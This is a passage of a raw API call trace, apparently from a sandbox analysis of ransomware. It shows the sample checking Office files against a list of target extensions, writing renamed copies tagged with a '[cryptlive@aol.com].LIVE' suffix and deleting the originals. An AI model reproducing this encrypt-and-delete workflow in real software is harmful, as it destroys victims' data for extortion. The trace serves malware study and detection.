[0147.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK") returned 69 [0147.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK") returned 69 [0147.362] lstrlenW (lpString=".doc") returned 4 [0147.362] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0147.362] lstrlenW (lpString=".docx") returned 5 [0147.362] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0147.362] lstrlenW (lpString=".pdf") returned 4 [0147.362] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0147.362] lstrlenW (lpString=".xls") returned 4 [0147.362] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0147.362] lstrlenW (lpString=".xlsx") returned 5 [0147.362] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0147.362] lstrlenW (lpString=".ppt") returned 4 [0147.362] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0147.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK") returned 69 [0147.362] lstrlenW (lpString=".zip") returned 4 [0147.363] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0147.363] lstrlenW (lpString=".rar") returned 4 [0147.363] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0147.363] lstrlenW (lpString=".bz2") returned 4 [0147.363] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0147.363] lstrlenW (lpString=".7z") returned 3 [0147.363] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0147.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK") returned 69 [0147.363] lstrlenW (lpString=".dbf") returned 4 [0147.363] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0147.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK") returned 69 [0147.363] lstrlenW (lpString=".1cd") returned 4 [0147.363] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0147.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK") returned 69 [0147.363] lstrlenW (lpString=".jpg") returned 4 [0147.363] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0147.363] lstrcmpiW (lpString1=".HXK", lpString2=".LIVE") returned -1 [0147.363] lstrlenW (lpString="WINPROJ.DEV_K_COL.HXK") returned 21 [0147.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0147.364] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=113) returned 1 [0147.364] CloseHandle (hObject=0x350) returned 1 [0147.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_k_col.hxk")) returned 0x20 [0147.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_k_col.hxk.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0147.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0147.365] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.365] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_k_col.hxk.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0147.379] GetLastError () returned 0x0 [0147.379] ReadFile (in: hFile=0x350, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x71, lpOverlapped=0x0) returned 1 [0147.380] WriteFile (in: hFile=0x39c, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x80, lpOverlapped=0x0) returned 1 [0147.381] ReadFile (in: hFile=0x350, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0147.381] WriteFile (in: hFile=0x39c, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xfe, lpOverlapped=0x0) returned 1 [0147.381] SetEndOfFile (hFile=0x39c) returned 1 [0147.381] CloseHandle (hObject=0x39c) returned 1 [0147.381] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.381] SetEndOfFile (hFile=0x350) returned 1 [0147.383] CloseHandle (hObject=0x350) returned 1 [0147.383] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0147.384] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_k_col.hxk")) returned 1 [0147.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK") returned 69 [0147.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK") returned 69 [0147.385] lstrlenW (lpString=".doc") returned 4 [0147.385] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0147.385] lstrlenW (lpString=".docx") returned 5 [0147.385] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0147.385] lstrlenW (lpString=".pdf") returned 4 [0147.385] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0147.385] lstrlenW (lpString=".xls") returned 4 [0147.385] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0147.385] lstrlenW (lpString=".xlsx") returned 5 [0147.385] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0147.385] lstrlenW (lpString=".ppt") returned 4 [0147.385] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0147.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK") returned 69 [0147.385] lstrlenW (lpString=".zip") returned 4 [0147.385] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0147.385] lstrlenW (lpString=".rar") returned 4 [0147.385] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0147.385] lstrlenW (lpString=".bz2") returned 4 [0147.385] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0147.385] lstrlenW (lpString=".7z") returned 3 [0147.385] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0147.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK") returned 69 [0147.385] lstrlenW (lpString=".dbf") returned 4 [0147.385] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0147.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK") returned 69 [0147.385] lstrlenW (lpString=".1cd") returned 4 [0147.385] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0147.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK") returned 69 [0147.385] lstrlenW (lpString=".jpg") returned 4 [0147.385] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0147.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK") returned 69 [0147.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK") returned 69 [0147.385] lstrlenW (lpString=".doc") returned 4 [0147.386] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0147.386] lstrlenW (lpString=".docx") returned 5 [0147.386] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0147.386] lstrlenW (lpString=".pdf") returned 4 [0147.386] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0147.386] lstrlenW (lpString=".xls") returned 4 [0147.386] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0147.386] lstrlenW (lpString=".xlsx") returned 5 [0147.386] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0147.386] lstrlenW (lpString=".ppt") returned 4 [0147.386] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0147.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK") returned 69 [0147.386] lstrlenW (lpString=".zip") returned 4 [0147.386] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0147.386] lstrlenW (lpString=".rar") returned 4 [0147.386] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0147.386] lstrlenW (lpString=".bz2") returned 4 [0147.386] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0147.386] lstrlenW (lpString=".7z") returned 3 [0147.386] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0147.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK") returned 69 [0147.386] lstrlenW (lpString=".dbf") returned 4 [0147.386] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0147.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK") returned 69 [0147.386] lstrlenW (lpString=".1cd") returned 4 [0147.386] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0147.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK") returned 69 [0147.386] lstrlenW (lpString=".jpg") returned 4 [0147.386] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0147.386] lstrcmpiW (lpString1=".HXS", lpString2=".LIVE") returned -1 [0147.386] lstrlenW (lpString="WINPROJ.HXS") returned 11 [0147.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0147.388] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1475590) returned 1 [0147.388] CloseHandle (hObject=0x350) returned 1 [0147.390] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.hxs")) returned 0x20 [0147.390] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.hxs.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0147.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0147.390] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.391] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.hxs.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0147.391] GetLastError () returned 0x0 [0147.391] ReadFile (in: hFile=0x350, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0147.575] WriteFile (in: hFile=0x39c, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0147.594] ReadFile (in: hFile=0x350, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x68416, lpOverlapped=0x0) returned 1 [0147.728] WriteFile (in: hFile=0x39c, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x68420, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x68420, lpOverlapped=0x0) returned 1 [0147.738] ReadFile (in: hFile=0x350, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0147.738] WriteFile (in: hFile=0x39c, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xea, lpOverlapped=0x0) returned 1 [0147.738] SetEndOfFile (hFile=0x39c) returned 1 [0147.892] CloseHandle (hObject=0x39c) returned 1 [0147.952] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.952] SetEndOfFile (hFile=0x350) returned 1 [0148.330] CloseHandle (hObject=0x350) returned 1 [0148.330] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0148.331] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.hxs")) returned 1 [0148.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS") returned 59 [0148.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS") returned 59 [0148.332] lstrlenW (lpString=".doc") returned 4 [0148.332] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0148.332] lstrlenW (lpString=".docx") returned 5 [0148.332] lstrcmpiW (lpString1=".docx", lpString2="J.HXS") returned -1 [0148.332] lstrlenW (lpString=".pdf") returned 4 [0148.332] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0148.332] lstrlenW (lpString=".xls") returned 4 [0148.332] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0148.332] lstrlenW (lpString=".xlsx") returned 5 [0148.332] lstrcmpiW (lpString1=".xlsx", lpString2="J.HXS") returned -1 [0148.332] lstrlenW (lpString=".ppt") returned 4 [0148.332] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0148.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS") returned 59 [0148.351] lstrlenW (lpString=".zip") returned 4 [0148.351] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0148.351] lstrlenW (lpString=".rar") returned 4 [0148.351] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0148.351] lstrlenW (lpString=".bz2") returned 4 [0148.351] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0148.351] lstrlenW (lpString=".7z") returned 3 [0148.351] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0148.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS") returned 59 [0148.351] lstrlenW (lpString=".dbf") returned 4 [0148.351] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0148.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS") returned 59 [0148.351] lstrlenW (lpString=".1cd") returned 4 [0148.351] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0148.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS") returned 59 [0148.351] lstrlenW (lpString=".jpg") returned 4 [0148.351] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0148.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS") returned 59 [0148.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS") returned 59 [0148.352] lstrlenW (lpString=".doc") returned 4 [0148.352] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0148.352] lstrlenW (lpString=".docx") returned 5 [0148.352] lstrcmpiW (lpString1=".docx", lpString2="J.HXS") returned -1 [0148.352] lstrlenW (lpString=".pdf") returned 4 [0148.352] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0148.352] lstrlenW (lpString=".xls") returned 4 [0148.352] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0148.352] lstrlenW (lpString=".xlsx") returned 5 [0148.352] lstrcmpiW (lpString1=".xlsx", lpString2="J.HXS") returned -1 [0148.352] lstrlenW (lpString=".ppt") returned 4 [0148.352] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0148.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS") returned 59 [0148.352] lstrlenW (lpString=".zip") returned 4 [0148.352] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0148.352] lstrlenW (lpString=".rar") returned 4 [0148.352] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0148.352] lstrlenW (lpString=".bz2") returned 4 [0148.352] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0148.352] lstrlenW (lpString=".7z") returned 3 [0148.352] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0148.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS") returned 59 [0148.352] lstrlenW (lpString=".dbf") returned 4 [0148.352] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0148.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS") returned 59 [0148.352] lstrlenW (lpString=".1cd") returned 4 [0148.352] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0148.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS") returned 59 [0148.352] lstrlenW (lpString=".jpg") returned 4 [0148.352] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0148.352] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0148.352] lstrlenW (lpString="WWINTL.DLL") returned 10 [0148.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0148.353] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=901464) returned 1 [0148.353] CloseHandle (hObject=0x394) returned 1 [0148.353] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.dll")) returned 0x20 [0148.353] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0148.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL") returned 58 [0148.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL") returned 58 [0148.354] lstrlenW (lpString=".doc") returned 4 [0148.354] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0148.354] lstrlenW (lpString=".docx") returned 5 [0148.354] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0148.354] lstrlenW (lpString=".pdf") returned 4 [0148.354] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0148.354] lstrlenW (lpString=".xls") returned 4 [0148.354] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0148.354] lstrlenW (lpString=".xlsx") returned 5 [0148.354] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0148.354] lstrlenW (lpString=".ppt") returned 4 [0148.354] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0148.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL") returned 58 [0148.354] lstrlenW (lpString=".zip") returned 4 [0148.354] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0148.354] lstrlenW (lpString=".rar") returned 4 [0148.354] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0148.354] lstrlenW (lpString=".bz2") returned 4 [0148.354] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0148.354] lstrlenW (lpString=".7z") returned 3 [0148.354] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0148.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL") returned 58 [0148.354] lstrlenW (lpString=".dbf") returned 4 [0148.354] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0148.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL") returned 58 [0148.354] lstrlenW (lpString=".1cd") returned 4 [0148.355] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0148.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL") returned 58 [0148.355] lstrlenW (lpString=".jpg") returned 4 [0148.355] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0148.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL") returned 58 [0148.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL") returned 58 [0148.355] lstrlenW (lpString=".doc") returned 4 [0148.355] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0148.355] lstrlenW (lpString=".docx") returned 5 [0148.355] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0148.355] lstrlenW (lpString=".pdf") returned 4 [0148.355] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0148.355] lstrlenW (lpString=".xls") returned 4 [0148.355] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0148.355] lstrlenW (lpString=".xlsx") returned 5 [0148.355] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0148.355] lstrlenW (lpString=".ppt") returned 4 [0148.355] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0148.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL") returned 58 [0148.355] lstrlenW (lpString=".zip") returned 4 [0148.355] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0148.355] lstrlenW (lpString=".rar") returned 4 [0148.355] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0148.355] lstrlenW (lpString=".bz2") returned 4 [0148.355] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0148.355] lstrlenW (lpString=".7z") returned 3 [0148.355] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0148.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL") returned 58 [0148.355] lstrlenW (lpString=".dbf") returned 4 [0148.355] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0148.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL") returned 58 [0148.355] lstrlenW (lpString=".1cd") returned 4 [0148.355] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0148.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL") returned 58 [0148.355] lstrlenW (lpString=".jpg") returned 4 [0148.355] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0148.356] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".LIVE") returned -1 [0148.356] lstrlenW (lpString="WWINTL.DLL.IDX_DLL") returned 18 [0148.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0148.356] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=108416) returned 1 [0148.356] CloseHandle (hObject=0x394) returned 1 [0148.356] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.dll.idx_dll")) returned 0x20 [0148.356] GetFileAttributesW 